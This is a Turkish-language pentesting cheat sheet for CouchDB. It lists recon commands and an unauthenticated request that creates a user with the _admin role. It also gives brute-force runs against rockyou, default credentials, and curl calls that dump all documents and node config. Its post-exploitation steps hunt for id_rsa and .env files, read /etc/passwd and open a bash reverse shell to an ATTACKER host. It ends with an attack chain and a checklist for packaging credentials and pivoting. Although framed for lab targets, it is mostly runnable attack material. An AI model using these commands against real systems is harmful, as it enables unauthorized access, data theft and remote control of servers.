5984,6984 - Pentesting CouchDB

CouchDB database

CouchDB HTTP API sunar. Eski sürümlerde unauth admin ve query server RCE zinciri vardır. Hedef lab IP’si üzerinde komutları 5984 portuna göre uyarla; her başarıyı ayrı kanıtla.

Metodoloji

1. 5984 doğrula.

2. /_all_dbs ve membership.

3. Auth bypass / CVE.

4. Design doc RCE.

Keşif

nmap -Pn -sV -p5984 TARGET

curl -s http://TARGET:5984/

curl -s http://TARGET:5984/_all_dbs

curl -s http://TARGET:5984/_membership

Auth / CVE

curl -s -X PUT http://TARGET:5984/_users/org.couchdb.user:hacker -H 'Content-Type: application/json' -d '{"name":"hacker","password":"x","roles":["_admin"],"type":"user"}'

nuclei -u http://TARGET:5984 -tags couchdb

searchsploit couchdb

Loot

curl -s http://TARGET:5984/DB/_all_docs?include_docs=true

curl -s http://admin:pass@TARGET:5984/_node/node1/_config

Derin enum

,6984 - CouchDB için ek keşif ve fingerprint.

nmap -Pn -sV -sC -p5984,6984 TARGET

nmap -Pn -p5984 --script safe,discovery TARGET

timeout 5 bash -c 'echo | openssl s_client -connect TARGET:5984' 2>/dev/null | head

python3 -c "import socket;s=socket.create_connection(('TARGET',5984));s.settimeout(3);print(s.recv(4096))"

Banner / TLS / ALPN notları → ,6984 - CouchDB

Kimlik & brute (ek)

hydra -L users.txt -P rockyou.txt -s 5984 PROTOCOL://TARGET -t 4

medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 5984

nmap -p5984 --script '*-brute' TARGET

admin/admin, root/root, guest/(boş), test/test

Exploit arama

searchsploit CouchDB

msfconsole -q -x 'search CouchDB; exit'

nuclei -u https://TARGET:5984 -t cves/ -silent -severity || true

nuclei -u http://TARGET:5984 -tags tech -silent || true

Manuel protokol

nc -nv TARGET 5984

printf '
' | timeout 3 nc -nv TARGET 5984

curl -vk --http1.0 http://TARGET:5984/

Wireshark/tcpdump ile konuşmayı kaydet; replay dene

Post-erişim & loot

config, key, session, env, backup

find / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | head

ss -lntp; ip a; cat /etc/passwd | head

bash -i >& /dev/tcp/ATTACKER/443 0>&1

mkdir -p loot && tee loot/notes.txt

Operasyon checklist

[ ] Fingerprint / sürüm
[ ] Auth ve anonim erişim
[ ] PoC etki gösterildi
[ ] Credential/shell paketlendi
[ ] Pivot notu

Zincir

unauth/_users abuse → admin → config/RCE → data dump